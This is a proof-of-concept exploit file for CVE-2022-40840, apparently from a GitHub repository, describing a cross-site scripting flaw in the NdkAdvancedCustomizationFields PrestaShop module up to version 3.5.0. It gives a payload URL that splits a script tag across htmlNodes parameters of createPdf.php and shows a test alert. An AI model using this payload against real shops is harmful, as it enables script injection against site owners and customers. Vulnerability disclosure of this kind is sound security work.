Headline
CVE-2022-40840: cve-s/poc.txt at main · daaaalllii/cve-s
ndk design NdkAdvancedCustomizationFields 3.5.0 is vulnerable to Cross Site Scripting (XSS) via createPdf.php.
Permalink
# Exploit Title: NdkAdvancedCustomizationFields Prestashop module <= 3.5.0 cross site scripting (xss)
# Date: 01-11-2022
# Exploit Author: dalii
# Vendor Homepage: https://www.ndk-design.fr/
# Software Link : https://www.ndk-design.fr/documentation-ndkadvancedcustomizationfields-prestashop-english
# Version: 3.5.0
# Tested on: Windows 10
# CVE: CVE-2022-40840
Parameters: htmlNodes
Exploit:
http://localhost/modules/ndk_advanced_custom_fields/createPdf.php?htmlNodes[0]=<script&htmlNodes[1]=>alert(“xss_poc”)</&htmlNodes[2]=script>&idCustomer=…&idProduct=…&idCustomization=…
http://localhost/img/render.html